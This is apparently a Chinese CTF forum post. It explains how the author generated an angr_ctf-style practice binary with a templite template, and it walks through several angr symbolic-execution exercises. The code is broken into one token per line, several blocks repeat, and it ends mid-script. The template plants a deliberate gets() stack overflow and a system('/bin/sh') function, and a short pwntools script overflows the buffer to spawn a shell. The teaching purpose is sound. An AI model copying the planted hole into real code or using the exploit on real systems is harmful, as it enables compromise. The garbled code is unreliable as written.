之前学习01_angr_avoid就很奇怪它是怎么生成这样一个有很多重复函数的程序的,后来五一期间,由于某个需求,本菜鸡就硬着头皮想自己也仿着出一个类似的题。还好angr_ctf
仓库有相应的源码,是用python的模版引擎templite
生成的。下面就是这道题,没有新意,有点套娃的感觉,angr接一个简单栈溢出。当时临时通知,时间紧任务还算有点重(还有其他的)?平时没这方面准备,出完后也没想那么多,现在再看有点……,不要喷我,贴出来只是学习一下怎么用python代码生成那种c程序。
对于angr_ctf题目,这个文件存储的就是 placeholder
,print_msg打印的就是从它获取的内容。
运行生成二进制文件:
利用:
下面继续以前写了一半就丢一边的其他题目。
分析完后发现程序的功能是:以十六进制格式输入3个值,然后分别对他们做不同的复杂运算,最后判断三个复杂运算的结果,如果都为假,那么会打印“Good Job.”。
那是怎么判断出传入complex_function1
、complex_function2
、complex_function3
的参数是输入的三个变量的呢?首先来看一看要求以十六进制格式输入三个值的输入函数get_user_input
:
然后,main
函数中的v4
是get_user_input
函数的返回值,很明显就是第一个输入值了。main函数中的v3
由上方声明处的注释可知是ebx
的值,v6
由v5
赋值,是edx
的值。都是寄存器中值,那就说明它们的值不是预先定义好,猜测是对应输入函数get_user_input里的v2和v3,那么去查看输入函数get_user_input的汇编代码。输入之后,分别把输入值先后赋值给了eax、ebx和edx,刚好对应main函数的v4、v3和v6。
接着,我们想想怎么解题。这一题和前面的题目最大的不同就是要符号化输入,前面三题之所以没有对输入进行符号化是因为输入很简单,angr自动对其进行符号化了,以便输入函数将符号值注入到寄存器中。这一题因为输入scanf函数中的格式化字符串更复杂,目前angr不支持从scanf函数读取多个值,所以需要我们往寄存器中手动注入符号。
本题就需要对这三个寄存器进行注入,并且告诉模拟引擎在scanf函数之后开始。
结合汇编代码如下图所示。
开始地址是:0x80488d1
当输入复杂,需要手动注入符号值的几个情况:
运行结果:
Bitvectors:可以看angrctf里的ppt,很清楚,这里就不再贴了。
eval
这里同样的,scanf的格式化字符串有两个参数,相对“复杂”。因为对于scanf函数,angr只能自动注入一个参数,所以需要我们手动进行注入。同时在对输入符号化后还需找到启动程序的地方。
调用函数scanf对应的汇编代码如下所示,红框中的代码为调用scanf函数的过程。
v1的地址是ebp-0x10,v2的地址是ebp-0xc,函数handle_user调用scanf函数前后栈的结构如下图所示。所以,很明显,add esp,10h
指令才是调用scanf函数的最后一条指令。因此,angr启动该程序的地址应该设置为0x08048697。
上一题只需要把符号值注入给寄存器,然后从指定地址启动程序就可以了,但是这一题不一样,要符号化的输入在栈里,所以我们需要在启动该程序之前自己构造相应的栈结构。
方法是通过state.stack_push(my_bitvector)
来将值my_bitvector
push到栈顶。另外,如果需要push一些无用的数据,则可以使用类似state.regs.esp-=4
的代码来达到目的,这行代码实现的就是填充4字节的padding。
因为这一题关闭了Canary,所以v2和ebp之间只填充无用数据就可以。
运行结果:
解题思路和上一题是一样的,不过这里使用state.memory.store(address, value)
将全局变量的值修改为符号值(操作一段连续的内存)。
启动地址:0x8048606。
运行结果:
分配动态内存的程序的一般执行流程如下图所示。
既然heap上的内存地址会变化,那么我们可以选择两个未被使用的内存地址,并覆盖两个buffer指针分别指向它们。因为buffer0和buffer1是全局变量且程序关闭了PIE,所以是可以实现的。
启动地址:0x804869e
cast_to
:可以接收一个参数来指定把结果映射到哪种数据类型。目前这个参数只能是str
,它将会以字符串形式展示返回的结果
运行结果:
这一题的目的是想要让我们学会:当输入来自文件(包括网络、另一个程序的输出和/dev/urandom等),那么如何符号化输入。
方法就是将整个文件都符号化。在angr中,与文件系统、套接字、管道或终端的任何交互的根源都是一个 SimFile 对象。SimFile 是一种存储抽象,它定义一个字节序列,不管是符号的还是其他的。
通过SimFile创建一个有具体内容的文件的方法:
接着,如果想让 SimFile 对程序可用,我们需要将它放在文件系统中,模拟的文件系统是 state.fs
插件。将模拟文件放入文件系统有两种方法,一是在创建初始状态的同时将模拟文件存储进去:
二是在创建初始状态之后单独使用insert
将文件存储到文件系统中,另外还可以使用 get
和 delete
方法从文件系统中加载和删除文件。更多关于SimFile的内容可看官方文档。
启动地址仍然是找输入之后的指令:0x080488DB。
运行结果:
import
sys, random, os, tempfile
from
templite
import
Templite
def
generate(argv):
if
len
(argv) !
=
3
:
print
'Usage: pypy generate.py [seed] [output_file]'
sys.exit()
seed
=
argv[
1
]
output_file
=
argv[
2
]
random.seed(seed)
description
=
''
with
open
(os.path.join(os.path.dirname(os.path.realpath(__file__)),
'description.txt'
),
'r'
) as desc_file:
description
=
desc_file.read().encode(
'string_escape'
).replace(
'\"'
,
'\\\"'
)
random_list
=
[random.choice([
True
,
False
])
for
_
in
xrange
(
64
)]
template
=
open
(os.path.join(os.path.dirname(os.path.realpath(__file__)),
'auto.c.templite'
),
'r'
).read()
c_code
=
Templite(template).render(description
=
description, random_list
=
random_list)
with tempfile.NamedTemporaryFile(delete
=
False
, suffix
=
'.c'
) as temp:
temp.write(c_code)
temp.seek(
0
)
os.system(
'gcc -m32 -fno-stack-protector -o '
+
output_file
+
' '
+
temp.name)
if
__name__
=
=
'__main__'
:
generate(sys.argv)
import
sys, random, os, tempfile
from
templite
import
Templite
def
generate(argv):
if
len
(argv) !
=
3
:
print
'Usage: pypy generate.py [seed] [output_file]'
sys.exit()
seed
=
argv[
1
]
output_file
=
argv[
2
]
random.seed(seed)
description
=
''
with
open
(os.path.join(os.path.dirname(os.path.realpath(__file__)),
'description.txt'
),
'r'
) as desc_file:
description
=
desc_file.read().encode(
'string_escape'
).replace(
'\"'
,
'\\\"'
)
random_list
=
[random.choice([
True
,
False
])
for
_
in
xrange
(
64
)]
template
=
open
(os.path.join(os.path.dirname(os.path.realpath(__file__)),
'auto.c.templite'
),
'r'
).read()
c_code
=
Templite(template).render(description
=
description, random_list
=
random_list)
with tempfile.NamedTemporaryFile(delete
=
False
, suffix
=
'.c'
) as temp:
temp.write(c_code)
temp.seek(
0
)
os.system(
'gcc -m32 -fno-stack-protector -o '
+
output_file
+
' '
+
temp.name)
if
__name__
=
=
'__main__'
:
generate(sys.argv)
Welcome~~~
${
import
random, os
random.seed(os.urandom(
8
))
userdef_charset
=
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
userdef
=
''.join(random.choice(userdef_charset)
for
_
in
range
(
8
))
def
check_string_recursive(array0, array1, random_list, bit):
if
bit <
0
:
write(
'aas(%s, %s);'
%
(array0, array1))
else
:
if
random_list[
0
]:
write(
'if (CHECK_BIT(%s, %d) == CHECK_BIT(%s, %d)) {'
%
(array0, bit, array1, bit))
check_string_recursive(array0, array1, random_list[
1
:], bit
-
1
)
write(
'} else { aaz(); '
)
check_string_recursive(array0, array1, random_list[
1
:], bit
-
1
)
write(
'}'
)
else
:
write(
'if (CHECK_BIT(%s, %d) != CHECK_BIT(%s, %d)) { aaz();'
%
(array0, bit, array1, bit))
check_string_recursive(array0, array1, random_list[
1
:], bit
-
1
)
write(
'} else { '
)
check_string_recursive(array0, array1, random_list[
1
:], bit
-
1
)
write(
'}'
)
}$
/
/
return
true
if
nth bit of array
is
1
char msg[]
=
"${ description }$"
;
uint8_t should_succeed
=
1
;
void print_msg() {
printf(
"%s"
, msg);
}
int
complex_function(
int
value,
int
i) {
/
/
。。。复杂运算,直接就遍历出来了,应该改复杂一些的
if
(!(
'A'
<
=
value && value <
=
'Z'
)) {
printf(
"Try again.\n"
);
exit(
1
);
}
return
((value
-
'A'
+
(LAMBDA
*
i))
%
(
'Z'
-
'A'
+
1
))
+
'A'
;
}
void aaz() {
should_succeed
=
0
;
}
void get_sh(){
system(
"/bin/sh"
);
}
int
login_again() {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
setbuf(stdin, NULL);
char pwd[
64
];
printf(
"Enter the password again: "
);
gets(&pwd);
/
/
栈溢出
if
(strcmp(pwd,
"deadbeef"
)
=
=
0
){
puts(
"I think you can't get shell"
);
}
else
{
puts(
"Error."
);
}
return
0
;
}
void aas(char
*
compare0, char
*
compare1) {
if
(should_succeed && !strncmp(compare0, compare1,
8
)) {
/
/
如果should_succeed为真,且进行复杂运算之后的输入和userdef相等,就进入下一步
login_again();
}
else
{
printf(
"Error.\n"
);
}
}
int
main(
int
argc, char
*
argv[]) {
char
buffer
[
20
];
char password[
20
];
/
/
print_msg();
for
(
int
i
=
0
; i <
20
;
+
+
i) {
password[i]
=
0
;
}
strncpy(password, USERDEF, LEN_USERDEF);
/
/
password
=
USERDEF,最后要和输入比较的字符串
printf(
"Enter the password: "
);
/
/
输入
scanf(
"%8s"
,
buffer
);
for
(
int
i
=
0
; i<LEN_USERDEF;
+
+
i) {
/
/
对输入进行复杂运算
buffer
[i]
=
(char) complex_function(
buffer
[i], i);
}
/
/
递归调用,也就是这里生成很多函数
${ check_string_recursive(
'buffer'
,
'password'
, random_list,
12
) }$
}
${
import
random, os
random.seed(os.urandom(
8
))
userdef_charset
=
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
userdef
=
''.join(random.choice(userdef_charset)
for
_
in
range
(
8
))
def
check_string_recursive(array0, array1, random_list, bit):
if
bit <
0
:
write(
'aas(%s, %s);'
%
(array0, array1))
else
:
if
random_list[
0
]:
write(
'if (CHECK_BIT(%s, %d) == CHECK_BIT(%s, %d)) {'
%
(array0, bit, array1, bit))
check_string_recursive(array0, array1, random_list[
1
:], bit
-
1
)
write(
'} else { aaz(); '
)
check_string_recursive(array0, array1, random_list[
1
:], bit
-
1
)
write(
'}'
)
else
:
write(
'if (CHECK_BIT(%s, %d) != CHECK_BIT(%s, %d)) { aaz();'
%
(array0, bit, array1, bit))
check_string_recursive(array0, array1, random_list[
1
:], bit
-
1
)
write(
'} else { '
)
check_string_recursive(array0, array1, random_list[
1
:], bit
-
1
)
write(
'}'
)
}$
/
/
return
true
if
nth bit of array
is
1
char msg[]
=
"${ description }$"
;
uint8_t should_succeed
=
1
;
void print_msg() {
printf(
"%s"
, msg);
}
int
complex_function(
int
value,
int
i) {
/
/
。。。复杂运算,直接就遍历出来了,应该改复杂一些的
if
(!(
'A'
<
=
value && value <
=
'Z'
)) {
printf(
"Try again.\n"
);
exit(
1
);
}
return
((value
-
'A'
+
(LAMBDA
*
i))
%
(
'Z'
-
'A'
+
1
))
+
'A'
;
}
void aaz() {
should_succeed
=
0
;
}
void get_sh(){
system(
"/bin/sh"
);
}
int
login_again() {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
setbuf(stdin, NULL);
char pwd[
64
];
printf(
"Enter the password again: "
);
gets(&pwd);
/
/
栈溢出
if
(strcmp(pwd,
"deadbeef"
)
=
=
0
){
puts(
"I think you can't get shell"
);
}
else
{
puts(
"Error."
);
}
return
0
;
}
void aas(char
*
compare0, char
*
compare1) {
if
(should_succeed && !strncmp(compare0, compare1,
8
)) {
/
/
如果should_succeed为真,且进行复杂运算之后的输入和userdef相等,就进入下一步
login_again();
}
else
{
printf(
"Error.\n"
);
}
}
int
main(
int
argc, char
*
argv[]) {
char
buffer
[
20
];
char password[
20
];
/
/
print_msg();
for
(
int
i
=
0
; i <
20
;
+
+
i) {
password[i]
=
0
;
}
strncpy(password, USERDEF, LEN_USERDEF);
/
/
password
=
USERDEF,最后要和输入比较的字符串
printf(
"Enter the password: "
);
/
/
输入
scanf(
"%8s"
,
buffer
);
for
(
int
i
=
0
; i<LEN_USERDEF;
+
+
i) {
/
/
对输入进行复杂运算
buffer
[i]
=
(char) complex_function(
buffer
[i], i);
}
/
/
递归调用,也就是这里生成很多函数
${ check_string_recursive(
'buffer'
,
'password'
, random_list,
12
) }$
}
python generate.py
123
auto
python generate.py
123
auto
import
angr
import
sys
def
main(argv):
path_to_binary
=
'./auto2'
project
=
angr.Project(path_to_binary)
initial_state
=
project.factory.entry_state()
simulation
=
project.factory.simgr(initial_state)
success_address
=
0x0804874A
will_not_succeed_address
=
0x08048658
simulation.explore(find
=
success_address, avoid
=
will_not_succeed_address)
if
simulation.found:
solution_state
=
simulation.found[
0
]
print
(solution_state.posix.dumps(sys.stdin.fileno()))
else
:
raise
Exception(
'Could not find the solution'
)
if
__name__
=
=
'__main__'
:
main(sys.argv)
import
angr
import
sys
def
main(argv):
path_to_binary
=
'./auto2'
project
=
angr.Project(path_to_binary)
initial_state
=
project.factory.entry_state()
simulation
=
project.factory.simgr(initial_state)
success_address
=
0x0804874A
will_not_succeed_address
=
0x08048658
simulation.explore(find
=
success_address, avoid
=
will_not_succeed_address)
if
simulation.found:
solution_state
=
simulation.found[
0
]
print
(solution_state.posix.dumps(sys.stdin.fileno()))
else
:
raise
Exception(
'Could not find the solution'
)
if
__name__
=
=
'__main__'
:
main(sys.argv)
from
pwn
import
*
p
=
process(
'./auto'
)
p.recvuntil(
'password: \n'
)
p.send(
'UXYUKVNZ'
)
p.recvuntil(
'again: \n'
)
p.sendline(b
'a'
*
0x4c
+
p32(
0x08048665
))
p.recvline()
p.interactive()
from
pwn
import
*
p
=
process(
'./auto'
)
p.recvuntil(
'password: \n'
)
p.send(
'UXYUKVNZ'
)
p.recvuntil(
'again: \n'
)
p.sendline(b
'a'
*
0x4c
+
p32(
0x08048665
))
p.recvline()
p.interactive()
import
angr
import
claripy
import
sys
def
main(argv):
path_to_binary
=
argv[
1
]
project
=
angr.Project(path_to_binary)
start_address
=
0x80488d1
initial_state
=
project.factory.blank_state(addr
=
start_address)
password0_size_in_bits
=
32
password0
=
claripy.BVS(
'password0'
, password0_size_in_bits)
password1_size_in_bits
=
32
password1
=
claripy.BVS(
'password1'
, password1_size_in_bits)
password2_size_in_bits
=
32
password2
=
claripy.BVS(
'password2'
, password2_size_in_bits)
initial_state.regs.eax
=
password0
initial_state.regs.ebx
=
password1
initial_state.regs.edx
=
password2
simulation
=
project.factory.simgr(initial_state)
def
is_successful(state):
stdout_output
=
state.posix.dumps(sys.stdout.fileno())
return
'Good Job.'
in
str
(stdout_output)
def
should_abort(state):
stdout_output
=
state.posix.dumps(sys.stdout.fileno())
return
'Try again.'
in
str
(stdout_output)
simulation.explore(find
=
is_successful, avoid
=
should_abort)
if
simulation.found:
solution_state
=
simulation.found[
0
]
solution0
=
solution_state.solver.
eval
(password0)
solution1
=
solution_state.solver.
eval
(password1)
solution2
=
solution_state.solver.
eval
(password2)
solution
=
' '
.join(
map
(
'{:x}'
.
format
, [ solution0, solution1, solution2 ]))
print
(solution)
else
:
raise
Exception(
'Could not find the solution'
)
if
__name__
=
=
'__main__'
:
main(sys.argv)
import
angr
import
claripy
import
sys
def
main(argv):
path_to_binary
=
argv[
1
]
project
=
angr.Project(path_to_binary)
start_address
=
0x80488d1
initial_state
=
project.factory.blank_state(addr
=
start_address)
password0_size_in_bits
=
32
password0
=
claripy.BVS(
'password0'
, password0_size_in_bits)
password1_size_in_bits
=
32
password1
=
claripy.BVS(
'password1'
, password1_size_in_bits)
password2_size_in_bits
=
32
password2
=
claripy.BVS(
'password2'
, password2_size_in_bits)
initial_state.regs.eax
=
password0
initial_state.regs.ebx
=
password1
initial_state.regs.edx
=
password2
simulation
=
project.factory.simgr(initial_state)
def
is_successful(state):
stdout_output
=
state.posix.dumps(sys.stdout.fileno())
return
'Good Job.'
in
str
(stdout_output)
def
should_abort(state):
stdout_output
=
state.posix.dumps(sys.stdout.fileno())
return
'Try again.'
in
str
(stdout_output)
simulation.explore(find
=
is_successful, avoid
=
should_abort)
if
simulation.found:
solution_state
=
simulation.found[
0
]
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-7-1 18:14
被ztree编辑
,原因: